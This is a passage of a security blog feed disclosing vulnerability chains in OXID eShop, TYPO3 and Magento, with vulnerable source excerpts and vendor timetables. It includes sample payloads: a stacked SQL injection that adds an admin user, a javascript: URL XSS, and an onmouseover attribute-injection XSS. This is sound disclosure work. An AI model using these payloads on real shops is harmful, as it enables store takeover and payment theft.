901            $sSortingParameters = $this-&gt;getViewParameter(&apos;sorting&apos;);
902            /*...*/
903            list($sSortBy, $sSortDir) = explode(&apos;|&apos;, $sSortingParameters);
904            $this-&gt;setItemSorting($this-&gt;getSortIdent(), $sSortBy, $sSortDir);
905        }
906        /*...*/
907        public function setItemSorting($sortIdent, $sortBy, $sortDir = null)
908        { 
909            /*...*/
910            $sorting[$sortIdent][&apos;sortby&apos;] = $sortBy;
911            $sorting[$sortIdent][&apos;sortdir&apos;] = $sortDir ? $sortDir : null;
912            \OxidEsales\Eshop\Core\Registry::getSession()
913                -&gt;setVariable(&apos;aSorting&apos;, $sorting);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the following paragraph we will see how an attacker can control this variable: Just before the SQL query is constructed and sent to the database the attacker overrides the &lt;code&gt;$_SESSION[&amp;#x27;aSorting&amp;#x27;]&lt;/code&gt; variable with user input. This is done by a preceding invocation of the method &lt;code&gt;_setSortingParameters()&lt;/code&gt; which retrieves the user-controlled sorting parameter on line 901 of the source code listing. The method then calls the &lt;code&gt;setItemSorting()&lt;/code&gt; function on line 904 to store the potentially malicious user input into the &lt;code&gt;$_SESSION[&amp;#x27;aSorting&amp;#x27;]&lt;/code&gt; variable, by making use of the &lt;code&gt;getSession()-&amp;gt;setVariable()&lt;/code&gt; construct on line 912.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;SQL injected query&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;SELECT ... ORDER BY oxtitle ;INSERT INTO oxuser (...) VALUES (...);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This means an attacker can pivot via the session variable to inject straight into ORDER BY statement of the SQL query. Since the underlying database driver is per default set to PDO, an attacker can make use of stacked queries to insert a brand new admin user with a password of his choice. He can then log into the backend and continue the exploitation process which is described in the following section.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Exploiting an Admin RCE&lt;/h2&gt;&lt;p&gt;As soon as the adversary has access to the backend, he can escalate his access into a Remote Code Execution by exploiting a PHP Object Injection vulnerability in the import section. The administrator has the possibility to import articles by uploading a CSV file which is loaded into the &lt;code&gt;$data&lt;/code&gt; array of the following code snippet.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;source/Core/GenericImport/ImportObject/OrderArticle.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;28    protected function preAssignObject($shopObject, $data, $allowCustomShopId){
29       /*...*/
30       $persParamValues = @unserialize($data[&apos;OXPERSPARAM&apos;]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On line 30, values of the column &lt;code&gt;OXPERSPARAM&lt;/code&gt; are thrown unsanitized into the &lt;code&gt;unserialize()&lt;/code&gt; function leading a PHP Object Injection. To learn more about PHP Object Injections and how to turn them into a Remote Code Execution you can check out our PHP Object Injection blogpost. The following video demonstrates a fully automated exploit PoC that uses the vulnerabilities described in this post.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/4E8hwbBPjVg&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Timetable&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;11/Dec/2017&lt;/td&gt;&lt;td&gt;Reported a SQL Injection in OXID 4.10.6&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;18/June/2019&lt;/td&gt;&lt;td&gt;First contact with vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;19/June/2019&lt;/td&gt;&lt;td&gt;Agreed on communication encryption&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;21/June/2019&lt;/td&gt;&lt;td&gt;Sent vulnerability details&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;27/June/2019&lt;/td&gt;&lt;td&gt;Vendor informs about releasing fix on 30th July&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;30/July/2019&lt;/td&gt;&lt;td&gt;Vendor fixed issue&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;The herein described vulnerabilities affecting OXID eShop illustrate how the combination of two critical vulnerabilities can lead to an exploit that hands the total control of a shop to a remote attacker. It stresses the importance of continuously integrated security testing to minimize risk factors in sensitive source code. We would like to thank the OXID security team for the professional and timely response and we highly recommend to update all OXID eShops to the latest version.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[TYPO3 9.5.7: Overriding the Database to Execute Code]]></title><description><![CDATA[In this technical blog post we examine a critical vulnerability in the core of the TYPO3 CMS (CVE-2019-12747). A reliable exploit allows the execution of arbitrary PHP code on the underlying system as authenticated user.]]></description><link>https://www.sonarsource.com/blog/typo3-overriding-the-database</link><guid isPermaLink="false">2a43278c-d37c-53bd-b187-a6c4ce27c8e1</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Tue, 16 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In this technical blog post we examine a critical vulnerability in the core of the TYPO3 CMS (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-12747&quot;&gt;CVE-2019-12747&lt;/a&gt;). A reliable exploit allows the execution of arbitrary PHP code on the underlying system as authenticated user. Affected are TYPO3 8.x through 8.7.26, and TYPO3 9.x through 9.5.7. &lt;a href=&quot;https://typo3.org/security/advisory/typo3-core-sa-2019-020/&quot;&gt;A deserialization of untrusted data&lt;/a&gt; leads to a Remote Code Execution vulnerability, which can be combined with a Cross-Site Scripting vulnerability that was also detected in the backend (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-12748&quot;&gt;CVE-2019-12748&lt;/a&gt;).&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Overriding the Database with a Payload&lt;/h2&gt;&lt;p&gt;The vulnerability occurs when saving any form in the backend section of TYPO3. If a user modifies the &lt;em&gt;pages&lt;/em&gt; section, for example, the data to be edited is fetched from the SQL database of TYPO3 and written back to the database. After fetching the data from the database, the application logic allows overriding single columns of the fetched data with user input. This feature allows a malicious authenticated backend user to override database values containing serialized data which are later deserialized. This leads to a PHP Object Injection that allows an attacker to remotely execute code (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-12747&quot;&gt;CVE-2019-12747&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/wh1ZkeGL9hc&quot;&gt;TYPO3 9.5.7: Overriding the Database to Execute Code&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;When saving a backend form in TYPO3, the &lt;code&gt;compile()&lt;/code&gt; method of the &lt;code&gt;$formDataCompiler&lt;/code&gt; object is called. The argument is an array which is populated with user input, as seen in line 1263 of the following listing.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;typo3/sysext/backend/Classes/Controller/EditDocumentController.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1259    $this-&gt;overrideVals = $parsedBody[&apos;overrideVals&apos;] ?? 
1260    $queryParams[&apos;overrideVals&apos;] ?? null;
1261    // ... 
1262    $formDataCompilerInput[&apos;overrideValues&apos;] = $this-&gt;overrideVals[$table];
1263    $formData = $formDataCompiler-&gt;compile($formDataCompilerInput);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The method makes use of a &lt;code&gt;for&lt;/code&gt; loop iterating over an ordered list of &lt;code&gt;FormDataProvider&lt;/code&gt; objects and invokes the &lt;code&gt;addData()&lt;/code&gt; method on each &lt;code&gt;$provider&lt;/code&gt; object in sequence.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;typo3/sysext/backend/Classes/Form/FormDataGroup/OrderedProviderList.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;59    public function compile(array $result): array
60    {
61        // ...
62        foreach ($orderedDataProvider as $providerClassName =&gt; $providerConfig) {
63            // ...
64            $result = $provider-&gt;addData($result);
65        }
66        return $result;
67    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As you can see in the source code listing on line 64, the &lt;code&gt;$result&lt;/code&gt; of the previous &lt;code&gt;$provider-&amp;gt;addData()&lt;/code&gt; invocation is used as an argument in the next &lt;code&gt;addData()&lt;/code&gt; call. On each iteration, the &lt;code&gt;$result&lt;/code&gt; variable which represents an array is modified after the &lt;code&gt;$provider&lt;/code&gt; has processed its contents. One of those providers is an instance of the &lt;code&gt;DatabaseRecordOverrideValues&lt;/code&gt; class which allows to override the data fetched from the database stored under the &lt;code&gt;databaseRow&lt;/code&gt; key of the &lt;code&gt;$result&lt;/code&gt; array.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;typo3/sysext/backend/Classes/Form/FormDataProvider/DatabaseRecordOverrideValues.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;31    public function addData(array $result)
32    {
33        foreach ($result[&apos;overrideValues&apos;] as $fieldName =&gt; $fieldValue) {
34            if (isset($result[&apos;processedTca&apos;][&apos;columns&apos;][$fieldName])) {
35                $result[&apos;databaseRow&apos;][$fieldName] = $fieldValue;
36                // ...
37            }
38        }
39        return $result;
40    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Finally, one of the following &lt;code&gt;FormDataProvider&lt;/code&gt; objects implements an &lt;code&gt;unserialize()&lt;/code&gt; call on the overridden data, leading to the vulnerability:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;typo3/sysext/backend/Classes/Form/FormDataProvider/DatabaseLanguageRows.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;62    public function addData(array $result)
63    {
64        // ...
65        if (/*...*/) 
66        {
67            $result[&apos;defaultLanguageDiffRow&apos;][$defaultLanguageKey] = unserialize(
68                $result[&apos;databaseRow&apos;][$result[&apos;processedTca&apos;][&apos;ctrl&apos;]
69                [&apos;transOrigDiffSourceField&apos;]]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can find more information on how to exploit PHP Object Injections with gadget chains in our &lt;a href=&quot;https://blog.sonarsource.com/typo3-overriding-the-database/&quot;&gt;blogpost&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Stored Cross-Site Scripting in Backend&lt;/h2&gt;&lt;p&gt;A Cross-Site Scripting vulnerability exists in the TYPO3 backend (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-12748&quot;&gt;CVE-2019-12748&lt;/a&gt;). An unprivileged user who has access to the &lt;em&gt;Site Redirects&lt;/em&gt; section can inject a malicious URL which makes use of the &lt;code&gt;t3://&lt;/code&gt; pseudo protocol.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;t3://url/?url=javascript:alert(1);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By adding this specific site redirect another benign higher-privileged TYPO3 user can be tricked into clicking the link which triggers the malicious JavaScript. He could use this vulnerability as a pivot point to launch the remote code execution exploit from above.&lt;/p&gt;&lt;p&gt;TYPO3 prevents a user to make use of the dangerous&lt;code&gt; javascript:&lt;/code&gt; pseudo protocol in links and URLs provided by the user which would mean the direct execution of JavaScript. However, it does not prevent a user to make use of TYPO3’s builtin &lt;code&gt;t3://&lt;/code&gt; pseudo protocol which implements multiple functionalities like referencing TYPO3 internal pages, files, email addresses or &lt;em&gt;URLs&lt;/em&gt;. In fact, specifying a URL which is automatically translated into a clickable link bypasses the whitelist of TYPO3 which initially prevented the &lt;code&gt;javascript:&lt;/code&gt; pseudo protocol.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timetable&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;09 May 2019&lt;/td&gt;&lt;td&gt;Sent vendor vulnerability details&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;09 May 2019&lt;/td&gt;&lt;td&gt;Vendor acknowledged&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;10 May 2019&lt;/td&gt;&lt;td&gt;Coordination with security lead of vendor on fixing the issue&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;06 June 2019&lt;/td&gt;&lt;td&gt;Vendor informs us about detailed release plans 25 June 2019&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;25 June 2019&lt;/td&gt;&lt;td&gt;TYPO3 9.5.8 patch released&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;The presented vulnerabilities can have critical impact on any TYPO3 system with one or more TYPO3 backend users. An authenticated backend user with access to the &lt;em&gt;Pages&lt;/em&gt; section can execute code on the underlying remote system. He could use the Cross-Site Scripting vulnerability in the &lt;em&gt;Site Redirects&lt;/em&gt; module as a pivoting point to exploit this vulnerability.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Magento 2.3.1: Unauthenticated Stored XSS to RCE]]></title><description><![CDATA[This blog post shows how the combination of a HTML sanitizer bug and a Phar Deserialization in the popular eCommerce solution Magento <=2.3.1 lead to a high severe exploit chain. This chain can be abused by an unauthenticated attacker to fully takeover certain Magento stores and to redirect payments.]]></description><link>https://www.sonarsource.com/blog/magento-rce-via-xss</link><guid isPermaLink="false">3e05f5ab-3d3f-5a40-8ec1-716d1853d06f</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 02 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;A successful attack enables an unauthenticated adversary to persistently inject a JavaScript payload into the administrator backend of a Magento store. When triggered, this JavaScript payload can then perform automated exploit steps in the browser of a victim. We visualize these steps in our video in form of our JavaScript-based &lt;em&gt;RIPS shell&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/4W5QhsWH9aE&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When an employee of the store logs into the admin dashboard, the injected JavaScript payload runs and hijacks the administrative session of the employee. An authenticated Remote Code Execution vulnerability is then exploited, which results in a full takeover of the store by the attacker. The attacker could then cause financial harm to the company running the store. For example, the attacker could redirect all payments to his bank account or steal credit card information.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerabilities can be exploited if a Magento store uses the built-in, core Authorize.Net payment module, a &lt;em&gt;Visa&lt;/em&gt; solution that allows for the processing of credit card payments. Please note that Authorize.Net is not responsible for any of the vulnerabilities, but rather the implementation in Magento. Since Authorize.Net is a popular payment processing service for credit cards, the exploit chain affects many Magento stores. Considering that testing if a target store uses the Authorize.Net module is easy and can be automated, mass exploitation is possible.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We rate the severity of the exploit chain as &lt;strong&gt;high&lt;/strong&gt;, as an attacker can exploit it without any prior knowledge or access to a Magento store and no social engineering is required. Considering that all Magento stores transact over &lt;strong&gt;$155 billion&lt;/strong&gt; annually, attackers are highly motivated to take advantage of such vulnerabilities.&lt;/p&gt;&lt;h2&gt;Who is affected?&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Affected are all Magento stores that have the Authorize.Net module enabled and run a vulnerable version, which are listed in the following table:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Branch&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Patched in version&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Vulnerable versions&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;2.3&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;2.3.2&lt;/td&gt;&lt;td&gt;&amp;lt;= 2.3.1&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;2.2&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;2.2.9&lt;/td&gt;&lt;td&gt;&amp;lt;= 2.2.8&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;2.1&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;2.1.18&lt;/td&gt;&lt;td&gt;&amp;lt;= 2.1.17&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Technical analysis&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the following we analyze two distinct security vulnerabilities that can be chained. Due to the severity of these issues, certain exploit details are omitted on purpose.&lt;/p&gt;&lt;h3&gt;Unauthenticated Stored XSS&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Magento provides multiple sanitization methods for different purposes. This section is going to detail a bypass for the &lt;code&gt;escapeHtmlWithLinks()&lt;/code&gt; sanitization method and how a bypass lead to an unauthenticated Stored XSS vulnerability in the cancellation note of a new product order. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, before discussing said method, it makes sense to first get some background knowledge on Magento sanitization and understand it’s main sanitization method, &lt;code&gt;escapeHTML()&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;vendor/magento/framework/Escaper.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;50   /**
51    * Escape string for HTML context.
52    *
53    * AllowedTags will not be escaped, except the following: script, img, embed,
54    * iframe, video, source, object, audio
55    *
56    * @param string|array $data
57    * @param array|null $allowedTags
58    * @return string|array
59    */
60   public function escapeHtml($data, $allowedTags = null)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All you have to know about &lt;code&gt;escapeHTML()&lt;/code&gt; is that it parses user input (&lt;code&gt;$data&lt;/code&gt;) and removes all HTML tags that are not specified with the second parameter, &lt;code&gt;$allowedTags&lt;/code&gt;, from the user input string. If the second parameter is not set, the entire user input string will simply be escaped. The method furthermore allows only a few HTML attributes to bet set in each allowed tag, namely &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;class&lt;/code&gt;, &lt;code&gt;href&lt;/code&gt;, &lt;code&gt;style&lt;/code&gt; and a few others.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We did not come up with a bypass for &lt;code&gt;escapeHTML()&lt;/code&gt;, so we searched for code that acts on user input after it was sanitized with &lt;code&gt;escapeHTML(&lt;/code&gt;), as modification of sanitized data often leads to vulnerabilities. We found the method &lt;code&gt;escapeHtmlWithLinks()&lt;/code&gt;. The next paragraphs and snippets will explain how this method works and how a logic flaw in it lead to a XSS vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The purpose of &lt;code&gt;escapeHtmlWithLinks()&lt;/code&gt; is to remove all HTML tags except for a whitelisted set of tags from a user input string. The difference to &lt;code&gt;escapeHTML()&lt;/code&gt; is that it will additionally remove all attributes except the &lt;code&gt;href&lt;/code&gt; attribute from &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags within the user input string, in order to make links extra secure.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As the following code snippet shows, &lt;code&gt;escapeHtmlWithLinks()&lt;/code&gt; starts off by parsing all &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags within the user input string into an array (&lt;code&gt;$matches&lt;/code&gt;):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;vendor/magento/module-sales/Helper/Admin.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;150    public function escapeHtmlWithLinks($data, $allowedTags = null)
151    {
152        ⋮
153        $data = str_replace(&apos;%&apos;, &apos;%%&apos;, $data);
154        $regexp = &quot;#(?J)&lt;a&quot;
155            .&quot;(?:(?:\s+(?:(?:href\s*=\s*([&apos;\&quot;])(?&lt;link&gt;.*?)\\1\s*)|(?:\S+\s*=\s*([&apos;\&quot;])(.*?)\\3)\s*)*)|&gt;)&quot;
156            .&quot;&gt;?(?:(?:(?&lt;text&gt;.*?)(?:&lt;\/a\s*&gt;?|(?=&lt;\w))|(?&lt;text&gt;.*)))#si&quot;;
157        while (preg_match($regexp, $data, $matches)) {
158        ⋮&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The next step is to sanitize the text of the link and the URL contained in the &lt;code&gt;href&lt;/code&gt; attribute. This is done by recreating a minimalistic tag (line 164 - 169 in the next code snippet).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The resulting sanitized link is then stored in the &lt;code&gt;$links&lt;/code&gt; array, which will be used later. The function &lt;code&gt;escapeHtmlWithLinks()&lt;/code&gt; then replaces the original &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag, which was just sanitized, with a &lt;code&gt;%$is&lt;/code&gt; within the user input string, where &lt;code&gt;$i&lt;/code&gt; is simply the number of the replaced &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 156    ⋮
 157    while (preg_match($regexp, $data, $matches)) {
 158    $text = &apos;&apos;;
 159    if (!empty($matches[&apos;text&apos;])) {
 160        $text = str_replace(&apos;%%&apos;, &apos;%&apos;, $matches[&apos;text&apos;]);
 161    }
 162    $url = $this-&gt;filterUrl($matches[&apos;link&apos;] ?? &apos;&apos;);
 163    //Recreate a minimalistic secure a tag
 164    $links[] = sprintf(
 165        &apos;&lt;a href=&quot;%s&quot;&gt;%s&lt;/a&gt;&apos;,
 166        htmlspecialchars($url, ENT_QUOTES, &apos;UTF-8&apos;, false),
 167        $this-&gt;escaper-&gt;escapeHtml($text)
 168    );
 169    $data = str_replace($matches[0], &apos;%&apos; . $i . &apos;$s&apos;, $data);
 170    ++$i;
 171    ⋮&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To give a concrete example of what is described above and shown in the last code snippet, here is what would happen to an example user input at this stage of the sanitization method:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;i&amp;gt;Hello, &amp;lt;a href=&amp;quot;/the-world/&amp;quot; title=&amp;quot;Hello World&amp;quot;&amp;gt;World!&amp;lt;/a&amp;gt;&amp;lt;/i&amp;gt;&lt;/code&gt; would turn into &lt;code&gt;&amp;lt;i&amp;gt;Hello, %1s&amp;lt;/i&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After &lt;code&gt;escapeHtmlWithLinks()&lt;/code&gt; has replaced all &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags with a corresponding &lt;code&gt;%s&lt;/code&gt; in the user input string, it will pass the resulting user input to &lt;code&gt;escapeHTML()&lt;/code&gt;. This will sanitize the user input securely (line 172 of the next snippet). However, it will then insert the sanitized links back into the now sanitized string via &lt;code&gt;vsprintf()&lt;/code&gt;. This is where the XSS vulnerability occurs. We will discuss how exactly the XSS vulnerability works in the following paragraph.&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 170    ⋮
 171    } // End of while
 172    $data = $this-&gt;escaper-&gt;escapeHtml($data, $allowedTags);
 173    return vsprintf($data, $links);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The issue with simply inserting the sanitized links into the escaped user input string is that &lt;code&gt;escapeHtmlWithLinks()&lt;/code&gt; does not care about the position of an &lt;code&gt;&amp;lt;a&amp;gt; &lt;/code&gt;tag within a string. The following table demonstrates how this can lead to a &lt;em&gt;HTML attribute injection&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Step	User input string
Parse &lt;a&gt; tags from user input string	&lt;i id=&quot; &lt;a href=&apos;http://onmouseover=alert(/XSS/)&apos;&gt;a link&lt;/a&gt; &quot;&gt; a malicious link &lt;/i&gt;
Replace &lt;a&gt; tags with a %s	&lt;i id=&quot; %1s &quot;&gt; a malicious link &lt;/i&gt;
Remove all unwanted tags from user input string	&lt;i id=&quot; %1s &quot;&gt; a malicious link &lt;/i&gt;
Insert sanitized &lt;a&gt; tags into sanitized string	&lt;i id=&quot; &lt;a href=&quot;http://onmouseover=alert(/XSS/)&gt;&quot;&gt;a link&lt;/a&gt; &quot;&gt; a malicious link &lt;/i&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Step&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;User input string&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Parse &amp;lt;a&amp;gt; tags from user input string&lt;/td&gt;&lt;td&gt;&amp;lt;i id=&quot; &amp;lt;a href=&lt;strong&gt;&apos;&lt;/strong&gt;http://onmouseover=alert(/XSS/)&lt;strong&gt;&apos;&lt;/strong&gt;&amp;gt;a link&amp;lt;/a&amp;gt; &quot;&amp;gt; a malicious link &amp;lt;/i&amp;gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Replace &amp;lt;a&amp;gt; tags with a %s&lt;/td&gt;&lt;td&gt;&amp;lt;i id=&quot; %1s &quot;&amp;gt; a malicious link &amp;lt;/i&amp;gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Remove all unwanted tags from user input string&lt;/td&gt;&lt;td&gt;&amp;lt;i id=&quot; %1s &quot;&amp;gt; a malicious link &amp;lt;/i&amp;gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Insert sanitized &amp;lt;a&amp;gt; tags into sanitized string&lt;/td&gt;&lt;td&gt;&amp;lt;i id=&quot; &amp;lt;a href=&lt;strong&gt;&quot;&lt;/strong&gt;http://onmouseover=alert(/XSS/)&amp;gt;&lt;strong&gt;&quot;&lt;/strong&gt;&amp;gt;a link&amp;lt;/a&amp;gt; &quot;&amp;gt; a malicious link &amp;lt;/i&amp;gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As can be seen in the above table, the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag is replaced with a &lt;code&gt;%1s&lt;/code&gt; and the user input string is then sanitized. As &lt;code&gt;%1s&lt;/code&gt; is not a dangerous value, it passes the sanitization step. When &lt;code&gt;escapeHtmlWithLinks()&lt;/code&gt; then reinserts the sanitized link with &lt;code&gt;vsprintf()&lt;/code&gt;, an additonal double quote is injected into the &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; tag, which allows for an attribute injection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This allows an attacker to inject arbitrary HTML attributes into the resulting string. By injecting a malicious &lt;code&gt;onmouseover&lt;/code&gt; event handler and a &lt;code&gt;style&lt;/code&gt; attribute to make the link an invisible overlay over the entire page, the XSS payload triggers as soon as a victim visits a page that contains such an XSS payload and moves his mouse.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;escapeHtmlWithLinks()&lt;/code&gt; method is used to sanitize order cancellation notes that are created when a user starts the order process with Authorize.Net but then cancels it. By abusing the bypass described above, an attacker can inject arbitrary JavaScript into the order overview of a just cancelled order. When an employee then reviews the cancelled order, the XSS payload triggers.&lt;/p&gt;&lt;h3&gt;Authenticated Phar Deserialization&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once an attacker has hijacked the session of an authenticated user, he can abuse a &lt;a href=&quot;https://blog.sonarsource.com/new-php-exploitation-technique&quot;&gt;Phar Deserialization&lt;/a&gt; vulnerability within the controller that is responsible for rendering images within the WYSIWYG editor. The following code snippet shows how the POST parameter &lt;code&gt;__directiveis&lt;/code&gt; passed to the &lt;code&gt;open()&lt;/code&gt; method of an image adapter class. This method internally passes the user input to the function &lt;code&gt;getimagesize()&lt;/code&gt;, which is 